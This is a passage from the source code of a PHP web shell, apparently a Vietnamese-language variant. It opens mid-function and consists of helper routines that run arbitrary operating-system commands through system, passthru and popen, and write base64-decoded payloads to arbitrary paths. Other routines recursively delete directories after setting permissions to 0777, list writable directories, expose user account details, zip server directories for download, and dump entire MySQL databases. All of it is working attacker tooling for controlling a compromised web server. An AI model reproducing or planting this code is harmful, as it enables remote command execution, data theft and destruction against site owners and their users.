2141 } elseif (function_exists('system')) {
2142 @ob_start();
2143 @system($cfe);
2144 $res = @ob_get_contents();
2145 @ob_end_clean();
2146 } elseif (function_exists('passthru')) {
2147 @ob_start();
2148 @passthru($cfe);
2149 $res = @ob_get_contents();
2150 @ob_end_clean();
2151 } elseif (@is_resource($f = @popen($cfe, "r"))) {
2152 $res = '';
2153 while (!@feof($f)) {
2154 $res .= @fread($f, 1024);
2155 }
2156 @pclose($f);
2157 }
2158 }
2159 return $res;
2160}
2161function which($pr)
2162{
2163 $path = execute("which $pr");
2164 return ($path ? $path : $pr);
2165}
2166function cf($fname, $text)
2167{
2168 if ($fp = @fopen($fname, 'w')) {
2169 @fputs($fp, @base64_decode($text));
2170 @fclose($fp);
2171 }
2172}
2173function debuginfo()
2174{
2175 global $starttime;
2176 $mtime = explode(' ', microtime());
2177 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
2178 echo ' Xử lí trong ' . $totaltime . ' giây(s)';
2179}
2180function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306')
2181{
2182 if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
2183 p('<h2>Không thể kết nối tơi MySQL server</h2>');
2184 exit;
2185 }
2186 if ($link && $dbname) {
2187 if (!@mysql_select_db($dbname, $link)) {
2188 p('<h2>Database chọn lỗi</h2>');
2189 exit;
2190 }
2191 }
2192 if ($link && mysql_get_server_info() > '4.1') {
2193 if (in_array(strtolower($charset), array(
2194 'gbk',
2195 'big5',
2196 'utf8'
2197 ))) {
2198 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
2199 }
2200 }
2201 return $link;
2202}
2203function s_array(&$array)
2204{
2205 if (is_array($array)) {
2206 foreach ($array as $k => $v) {
2207 $array[$k] = s_array($v);
2208 }
2209 } else if (is_string($array)) {
2210 $array = stripslashes($array);
2211 }
2212 return $array;
2213}
2214function html_clean($content)
2215{
2216 $content = htmlspecialchars($content);
2217 $content = str_replace("\n", "<br />", $content);
2218 $content = str_replace(" ", " ", $content);
2219 $content = str_replace("\t", " ", $content);
2220 return $content;
2221}
2222function getChmod($filepath)
2223{
2224 return substr(base_convert(@fileperms($filepath), 10, 8), -4);
2225}
2226function getPerms($filepath)
2227{
2228 $mode = @fileperms($filepath);
2229 if (($mode & 0xC000) === 0xC000) {
2230 $type = 's';
2231 } elseif (($mode & 0x4000) === 0x4000) {
2232 $type = 'd';
2233 } elseif (($mode & 0xA000) === 0xA000) {
2234 $type = 'l';
2235 } elseif (($mode & 0x8000) === 0x8000) {
2236 $type = '-';
2237 } elseif (($mode & 0x6000) === 0x6000) {
2238 $type = 'b';
2239 } elseif (($mode & 0x2000) === 0x2000) {
2240 $type = 'c';
2241 } elseif (($mode & 0x1000) === 0x1000) {
2242 $type = 'p';
2243 } else {
2244 $type = '?';
2245 }
2246 $owner['read'] = ($mode & 00400) ? 'r' : '-';
2247 $owner['write'] = ($mode & 00200) ? 'w' : '-';
2248 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
2249 $group['read'] = ($mode & 00040) ? 'r' : '-';
2250 $group['write'] = ($mode & 00020) ? 'w' : '-';
2251 $group['execute'] = ($mode & 00010) ? 'x' : '-';
2252 $world['read'] = ($mode & 00004) ? 'r' : '-';
2253 $world['write'] = ($mode & 00002) ? 'w' : '-';
2254 $world['execute'] = ($mode & 00001) ? 'x' : '-';
2255 if ($mode & 0x800) {
2256 $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
2257 }
2258 if ($mode & 0x400) {
2259 $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
2260 }
2261 if ($mode & 0x200) {
2262 $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
2263 }
2264 return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
2265}
2266function getUser($filepath)
2267{
2268 if (function_exists('posix_getpwuid')) {
2269 $array = @posix_getpwuid(@fileowner($filepath));
2270 if ($array && is_array($array)) {
2271 return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
2272 }
2273 }
2274 return '';
2275}
2276function deltree($deldir)
2277{
2278 $mydir = @dir($deldir);
2279 while ($file = $mydir->read()) {
2280 if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
2281 @chmod($deldir . '/' . $file, 0777);
2282 deltree($deldir . '/' . $file);
2283 }
2284 if (is_file($deldir . '/' . $file)) {
2285 @chmod($deldir . '/' . $file, 0777);
2286 @unlink($deldir . '/' . $file);
2287 }
2288 }
2289 $mydir->close();
2290 @chmod($deldir, 0777);
2291 return @rmdir($deldir) ? 1 : 0;
2292}
2293function bg()
2294{
2295 global $bgc;
2296 return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
2297}
2298function getPath($scriptpath, $nowpath)
2299{
2300 if ($nowpath == '.') {
2301 $nowpath = $scriptpath;
2302 }
2303 $nowpath = str_replace('\\', '/', $nowpath);
2304 $nowpath = str_replace('//', '/', $nowpath);
2305 if (substr($nowpath, -1) != '/') {
2306 $nowpath = $nowpath . '/';
2307 }
2308 return $nowpath;
2309}
2310function getUpPath($nowpath)
2311{
2312 $pathdb = explode('/', $nowpath);
2313 $num = count($pathdb);
2314 if ($num > 2) {
2315 unset($pathdb[$num - 1], $pathdb[$num - 2]);
2316 }
2317 $uppath = implode('/', $pathdb) . '/';
2318 $uppath = str_replace('//', '/', $uppath);
2319 return $uppath;
2320}
2321function getcfg($varname)
2322{
2323 $result = get_cfg_var($varname);
2324 if ($result == 0) {
2325 return 'No';
2326 } elseif ($result == 1) {
2327 return 'Yes';
2328 } else {
2329 return $result;
2330 }
2331}
2332function getfun($funName)
2333{
2334 return (false !== function_exists($funName)) ? 'Yes' : 'No';
2335}
2336function GetList($dir)
2337{
2338 global $dirdata, $j, $nowpath;
2339 !$j && $j = 1;
2340 if ($dh = opendir($dir)) {
2341 while ($file = readdir($dh)) {
2342 $f = str_replace('//', '/', $dir . '/' . $file);
2343 if ($file != '.' && $file != '..' && is_dir($f)) {
2344 if (is_writable($f)) {
2345 $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
2346 $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
2347 $dirdata[$j]['dirchmod'] = getChmod($f);
2348 $dirdata[$j]['dirperm'] = getPerms($f);
2349 $dirdata[$j]['dirlink'] = ue($dir);
2350 $dirdata[$j]['server_link'] = $f;
2351 $dirdata[$j]['client_link'] = ue($f);
2352 $j++;
2353 }
2354 GetList($f);
2355 }
2356 }
2357 closedir($dh);
2358 clearstatcache();
2359 return $dirdata;
2360 } else {
2361 return array();
2362 }
2363}
2364function qy($sql)
2365{
2366 $res = $error = '';
2367 if (!$res = @mysql_query($sql)) {
2368 return 0;
2369 } else if (is_resource($res)) {
2370 return 1;
2371 } else {
2372 return 2;
2373 }
2374 return 0;
2375}
2376function q($sql)
2377{
2378 return @mysql_query($sql);
2379}
2380function fr($qy)
2381{
2382 mysql_free_result($qy);
2383}
2384function sizecount($size)
2385{
2386 if ($size > 1073741824) {
2387 $size = round($size / 1073741824 * 100) / 100 . ' G';
2388 } elseif ($size > 1048576) {
2389 $size = round($size / 1048576 * 100) / 100 . ' M';
2390 } elseif ($size > 1024) {
2391 $size = round($size / 1024 * 100) / 100 . ' K';
2392 } else {
2393 $size = $size . ' B';
2394 }
2395 return $size;
2396}
2397class PHPZip
2398{
2399 var $out = '';
2400 function PHPZip($dir)
2401 {
2402 if (@function_exists('gzcompress')) {
2403 $curdir = getcwd();
2404 if (is_array($dir))
2405 $filelist = $dir;
2406 else {
2407 $filelist = $this->GetFileList($dir);
2408 foreach ($filelist as $k => $v)
2409 $filelist[] = substr($v, strlen($dir) + 1);
2410 }
2411 if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir)))
2412 chdir($dir);
2413 else
2414 chdir($curdir);
2415 if (count($filelist) > 0) {
2416 foreach ($filelist as $filename) {
2417 if (is_file($filename)) {
2418 $fd = fopen($filename, 'r');
2419 $content = @fread($fd, filesize($filename));
2420 fclose($fd);
2421 if (is_array($dir))
2422 $filename = basename($filename);
2423 $this->addFile($content, $filename);
2424 }
2425 }
2426 $this->out = $this->file();
2427 chdir($curdir);
2428 }
2429 return 1;
2430 } else
2431 return 0;
2432 }
2433 function GetFileList($dir)
2434 {
2435 static $a;
2436 if (is_dir($dir)) {
2437 if ($dh = opendir($dir)) {
2438 while ($file = readdir($dh)) {
2439 if ($file != '.' && $file != '..') {
2440 $f = $dir . '/' . $file;
2441 if (is_dir($f))
2442 $this->GetFileList($f);
2443 $a[] = $f;
2444 }
2445 }
2446 closedir($dh);
2447 }
2448 }
2449 return $a;
2450 }
2451 var $datasec = array();
2452 var $ctrl_dir = array();
2453 var $eof_ctrl_dir = "\50\4b\05\06\00\00\00\00";
2454 var $old_offset = 0;
2455 function unix2DosTime($unixtime = 0)
2456 {
2457 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2458 if ($timearray['year'] < 1980) {
2459 $timearray['year'] = 1980;
2460 $timearray['mon'] = 1;
2461 $timearray['mday'] = 1;
2462 $timearray['hours'] = 0;
2463 $timearray['minutes'] = 0;
2464 $timearray['seconds'] = 0;
2465 }
2466 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2467 }
2468 function addFile($data, $name, $time = 0)
2469 {
2470 $name = str_replace('\\', '/', $name);
2471 $dtime = dechex($this->unix2DosTime($time));
2472 $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
2473 eval('$hexdtime = "' . $hexdtime . '";');
2474 $fr = "\x50\x4b\x03\x04";
2475 $fr .= "\x14\x00";
2476 $fr .= "\x00\x00";
2477 $fr .= "\x08\x00";
2478 $fr .= $hexdtime;
2479 $unc_len = strlen($data);
2480 $crc = crc32($data);
2481 $zdata = gzcompress($data);
2482 $c_len = strlen($zdata);
2483 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2484 $fr .= pack('V', $crc);
2485 $fr .= pack('V', $c_len);
2486 $fr .= pack('V', $unc_len);
2487 $fr .= pack('v', strlen($name));
2488 $fr .= pack('v', 0);
2489 $fr .= $name;
2490 $fr .= $zdata;
2491 $fr .= pack('V', $crc);
2492 $fr .= pack('V', $c_len);
2493 $fr .= pack('V', $unc_len);
2494 $this->datasec[] = $fr;
2495 $new_offset = strlen(implode('', $this->datasec));
2496 $cdrec = "\x50\x4b\x01\x02";
2497 $cdrec .= "\x00\x00";
2498 $cdrec .= "\x14\x00";
2499 $cdrec .= "\x00\x00";
2500 $cdrec .= "\x08\x00";
2501 $cdrec .= $hexdtime;
2502 $cdrec .= pack('V', $crc);
2503 $cdrec .= pack('V', $c_len);
2504 $cdrec .= pack('V', $unc_len);
2505 $cdrec .= pack('v', strlen($name));
2506 $cdrec .= pack('v', 0);
2507 $cdrec .= pack('v', 0);
2508 $cdrec .= pack('v', 0);
2509 $cdrec .= pack('v', 0);
2510 $cdrec .= pack('V', 32);
2511 $cdrec .= pack('V', $this->old_offset);
2512 $this->old_offset = $new_offset;
2513 $cdrec .= $name;
2514 $this->ctrl_dir[] = $cdrec;
2515 }
2516 function file()
2517 {
2518 $data = implode('', $this->datasec);
2519 $ctrldir = implode('', $this->ctrl_dir);
2520 return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\00\00";
2521 }
2522}
2523function sqldumptable($table, $fp = 0)
2524{
2525 $tabledump = "DROP TABLE IF EXISTS $table;
2526";
2527 $tabledump .= "CREATE TABLE $table (
2528";
2529 $firstfield = 1;
2530 $fields = q("SHOW FIELDS FROM $table");
2531 while ($field = mysql_fetch_array($fields)) {
2532 if (!$firstfield) {
2533 $tabledump .= ",
2534";
2535 } else {
2536 $firstfield = 0;
2537 }
2538 $tabledump .= " $field[Field] $field[Type]";
2539 if (!empty($field["Default"])) {
2540 $tabledump .= " DEFAULT '$field[Default]'";
2541 }
2542 if ($field['Null'] != "YES") {
2543 $tabledump .= " NOT NULL";
2544 }
2545 if ($field['Extra'] != "") {
2546 $tabledump .= " $field[Extra]";
2547 }
2548 }
2549 fr($fields);
2550 $keys = q("SHOW KEYS FROM $table");
2551 while ($key = mysql_fetch_array($keys)) {
2552 $kname = $key['Key_name'];
2553 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2554 $kname = "UNIQUE|$kname";
2555 }
2556 if (!is_array($index[$kname])) {
2557 $index[$kname] = array();
2558 }
2559 $index[$kname][] = $key['Column_name'];
2560 }
2561 fr($keys);
2562 while (list($kname, $columns) = @each($index)) {
2563 $tabledump .= ",
2564";
2565 $colnames = implode($columns, ",");
2566 if ($kname == "PRIMARY") {
2567 $tabledump .= " PRIMARY KEY ($colnames)";
2568 } else {
2569 if (substr($kname, 0, 6) == "UNIQUE") {
2570 $kname = substr($kname, 7);
2571 }
2572 $tabledump .= " KEY $kname ($colnames)";
2573 }
2574 }
2575 $tabledump .= "
2576);
2577
2578";
2579 if ($fp) {
2580 fwrite($fp, $tabledump);
2581 } else {
2582 echo $tabledump;
2583 }
2584 $rows = q("SELECT * FROM $table");
2585 $numfields = mysql_num_fields($rows);
2586 while ($row = mysql_fetch_array($rows)) {
2587 $tabledump = "INSERT INTO $table VALUES(";
2588 $fieldcounter = -1;
2589 $firstfield = 1;
2590 while (++$fieldcounter < $numfields) {
2591 if (!$firstfield) {
2592 $tabledump .= ", ";
2593 } else {
2594 $firstfield = 0;
2595 }
2596 if (!isset($row[$fieldcounter])) {
2597 $tabledump .= "NULL";
2598 } else {
2599 $tabledump .= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
2600 }
2601 }
2602 $tabledump .= ");
2603";
2604 if ($fp) {
2605 fwrite($fp, $tabledump);
2606 } else {
2607 echo $tabledump;
2608 }
2609 }
2610 fr($rows);
2611 if ($fp) {
2612 fwrite($fp, "
2613");
2614 } else {
2615 echo "
2616";
2617 }
2618}
2619function ue($str)
2620{
2621 return urlencode($str);
2622}
2623function p($str)
2624{
2625 echo $str . "
2626";
2627}
2628function tbhead()
2629{
2630 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2631}
2632function tbfoot()
2633{
2634 p('</table>');
2635}
2636function makehide($name, $value = '')
2637{
2638 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2639}
2640function makeinput($arg = array())
2641{
2642 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2643 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2644 !$arg['type'] && $arg['type'] = 'text';
2645 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2646 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2647 if ($arg['newline']) {
2648 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2649 } else {
2650 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2651 }
2652}
2653function makeselect($arg = array())
2654{
2655 if ($arg['onchange']) {
2656 $onchange = 'onchange="' . $arg['onchange'] . '"';
2657 }
2658 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2659 if ($arg['newline'])
2660 p('<p>');
2661 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2662 if (is_array($arg['option'])) {
2663 foreach ($arg['option'] as $key => $value) {
2664 if ($arg['selected'] == $key) {
2665 p("<option value=\"$key\" selected>$value</option>");
2666 } else {
2667 p("<option value=\"$key\">$value</option>");
2668 }
2669 }
2670 }
2671 p("</select>");
2672 if ($arg['newline'])
2673 p('</p>');
2674}
2675function formhead($arg = array())
2676{
2677 !$arg['method'] && $arg['method'] = 'post';
2678 !$arg['action'] && $arg['action'] = $self;
2679 $arg['target'] = $arg['target'] ? "target=\$arg[target]\"" : '';
2680 !$arg['name'] && $arg['name'] = 'form1';
2681 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2682 if ($arg['title']) {
2683 p('<h2>' . $arg['title'] . ' »</h2>');
2684 }
2685}
2686function maketext($arg = array())
2687{
2688 !$arg['cols'] && $arg['cols'] = 100;
2689 !$arg['rows'] && $arg['rows'] = 25;
2690 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2691 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2692}
2693function formfooter($name = '')
2694{
2695 !$name && $name = 'submit';
2696 p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="MonKira"></p>');
2697 p('</form>');
2698}
2699function formfoot()
2700{
2701 p('</form>');
2702}
2703function pr($a)
2704{
2705 echo '<pre>';
2706 print_r($a);
2707 echo '</pre>';
2708}
2709?>